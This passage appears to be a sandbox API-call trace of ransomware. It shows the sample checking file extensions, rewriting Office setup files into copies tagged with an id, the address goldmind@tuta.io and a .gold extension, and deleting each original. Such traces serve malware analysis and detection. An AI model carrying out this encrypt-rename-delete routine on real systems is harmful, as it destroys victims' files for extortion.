lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.629] lstrlenW (lpString=".7z") returned 3 [0037.629] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0037.629] lstrlenW (lpString=".dbf") returned 4 [0037.629] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0037.630] lstrlenW (lpString=".1cd") returned 4 [0037.630] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0037.630] lstrlenW (lpString=".jpg") returned 4 [0037.630] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.630] lstrcmpiW (lpString1=".CHM", lpString2=".gold") returned -1 [0037.630] lstrlenW (lpString="SETUP.CHM") returned 9 [0037.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.630] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=67190) returned 1 [0037.630] CloseHandle (hObject=0x1e4) returned 1 [0037.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0037.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0037.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.631] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.631] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0037.631] GetLastError () returned 0x0 [0037.631] ReadFile (in: hFile=0x1e4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x10676, lpOverlapped=0x0) returned 1 [0037.638] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0037.639] ReadFile (in: hFile=0x1e4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.639] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.639] SetEndOfFile (hFile=0x1e8) returned 1 [0037.639] CloseHandle (hObject=0x1e8) returned 1 [0037.640] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.640] SetEndOfFile (hFile=0x1e4) returned 1 [0037.641] CloseHandle (hObject=0x1e4) returned 1 [0037.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0037.642] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0037.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0037.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0037.642] lstrlenW (lpString=".doc") returned 4 [0037.642] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.642] lstrlenW (lpString=".docx") returned 5 [0037.642] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0037.642] lstrlenW (lpString=".pdf") returned 4 [0037.642] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.642] lstrlenW (lpString=".xls") returned 4 [0037.642] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.642] lstrlenW (lpString=".xlsx") returned 5 [0037.642] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0037.642] lstrlenW (lpString=".ppt") returned 4 [0037.642] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0037.642] lstrlenW (lpString=".zip") returned 4 [0037.642] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.642] lstrlenW (lpString=".rar") returned 4 [0037.642] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.642] lstrlenW (lpString=".bz2") returned 4 [0037.642] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.642] lstrlenW (lpString=".7z") returned 3 [0037.642] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0037.642] lstrlenW (lpString=".dbf") returned 4 [0037.642] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0037.642] lstrlenW (lpString=".1cd") returned 4 [0037.642] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0037.642] lstrlenW (lpString=".jpg") returned 4 [0037.642] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0037.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0037.643] lstrlenW (lpString=".doc") returned 4 [0037.643] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.643] lstrlenW (lpString=".docx") returned 5 [0037.643] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0037.643] lstrlenW (lpString=".pdf") returned 4 [0037.643] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.643] lstrlenW (lpString=".xls") returned 4 [0037.643] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.643] lstrlenW (lpString=".xlsx") returned 5 [0037.643] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0037.643] lstrlenW (lpString=".ppt") returned 4 [0037.643] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0037.643] lstrlenW (lpString=".zip") returned 4 [0037.643] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.643] lstrlenW (lpString=".rar") returned 4 [0037.643] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.643] lstrlenW (lpString=".bz2") returned 4 [0037.643] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.643] lstrlenW (lpString=".7z") returned 3 [0037.643] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0037.643] lstrlenW (lpString=".dbf") returned 4 [0037.643] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0037.643] lstrlenW (lpString=".1cd") returned 4 [0037.643] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0037.643] lstrlenW (lpString=".jpg") returned 4 [0037.643] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.643] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0037.643] lstrlenW (lpString="SETUP.XML") returned 9 [0037.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.643] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=9352) returned 1 [0037.643] CloseHandle (hObject=0x1e4) returned 1 [0037.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0037.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0037.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.644] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.644] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0037.644] GetLastError () returned 0x0 [0037.644] ReadFile (in: hFile=0x1e4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x2488, lpOverlapped=0x0) returned 1 [0037.646] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0037.647] ReadFile (in: hFile=0x1e4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.647] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.647] SetEndOfFile (hFile=0x1e8) returned 1 [0037.647] CloseHandle (hObject=0x1e8) returned 1 [0037.647] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.647] SetEndOfFile (hFile=0x1e4) returned 1 [0037.648] CloseHandle (hObject=0x1e4) returned 1 [0037.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0037.648] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0037.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0037.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0037.649] lstrlenW (lpString=".doc") returned 4 [0037.649] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.649] lstrlenW (lpString=".docx") returned 5 [0037.649] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0037.649] lstrlenW (lpString=".pdf") returned 4 [0037.649] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.649] lstrlenW (lpString=".xls") returned 4 [0037.649] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.649] lstrlenW (lpString=".xlsx") returned 5 [0037.649] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0037.649] lstrlenW (lpString=".ppt") returned 4 [0037.649] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0037.649] lstrlenW (lpString=".zip") returned 4 [0037.649] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.649] lstrlenW (lpString=".rar") returned 4 [0037.649] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.649] lstrlenW (lpString=".bz2") returned 4 [0037.649] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.649] lstrlenW (lpString=".7z") returned 3 [0037.649] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0037.649] lstrlenW (lpString=".dbf") returned 4 [0037.649] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0037.649] lstrlenW (lpString=".1cd") returned 4 [0037.649] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0037.649] lstrlenW (lpString=".jpg") returned 4 [0037.649] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0037.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0037.649] lstrlenW (lpString=".doc") returned 4 [0037.649] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.650] lstrlenW (lpString=".docx") returned 5 [0037.650] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0037.650] lstrlenW (lpString=".pdf") returned 4 [0037.650] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.650] lstrlenW (lpString=".xls") returned 4 [0037.650] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.650] lstrlenW (lpString=".xlsx") returned 5 [0037.650] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0037.650] lstrlenW (lpString=".ppt") returned 4 [0037.650] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0037.650] lstrlenW (lpString=".zip") returned 4 [0037.650] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.650] lstrlenW (lpString=".rar") returned 4 [0037.650] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.650] lstrlenW (lpString=".bz2") returned 4 [0037.650] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.650] lstrlenW (lpString=".7z") returned 3 [0037.650] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0037.650] lstrlenW (lpString=".dbf") returned 4 [0037.650] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0037.650] lstrlenW (lpString=".1cd") returned 4 [0037.650] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0037.650] lstrlenW (lpString=".jpg") returned 4 [0037.650] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.650] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0037.650] lstrlenW (lpString="Office32MUI.XML") returned 15 [0037.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.658] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1383) returned 1 [0037.658] CloseHandle (hObject=0x1ec) returned 1 [0037.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0037.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0037.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.659] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.659] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0038.037] GetLastError () returned 0x0 [0038.037] ReadFile (in: hFile=0x1ec, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x567, lpOverlapped=0x0) returned 1 [0038.160] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x570, lpOverlapped=0x0) returned 1 [0038.160] ReadFile (in: hFile=0x1ec, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.161] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0038.161] SetEndOfFile (hFile=0x1e4) returned 1 [0038.161] CloseHandle (hObject=0x1e4) returned 1 [0038.161] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.161] SetEndOfFile (hFile=0x1ec) returned 1 [0038.162] CloseHandle (hObject=0x1ec) returned 1 [0038.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.162] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0038.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0038.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0038.162] lstrlenW (lpString=".doc") returned 4 [0038.162] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString=".docx") returned 5 [0038.163] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.163] lstrlenW (lpString=".pdf") returned 4 [0038.163] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString=".xls") returned 4 [0038.163] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString=".xlsx") returned 5 [0038.163] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.163] lstrlenW (lpString=".ppt") returned 4 [0038.163] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0038.163] lstrlenW (lpString=".zip") returned 4 [0038.163] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.163] lstrlenW (lpString=".rar") returned 4 [0038.163] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString=".bz2") returned 4 [0038.163] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString=".7z") returned 3 [0038.163] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0038.163] lstrlenW (lpString=".dbf") returned 4 [0038.163] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0038.163] lstrlenW (lpString=".1cd") returned 4 [0038.163] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0038.163] lstrlenW (lpString=".jpg") returned 4 [0038.163] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0038.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") 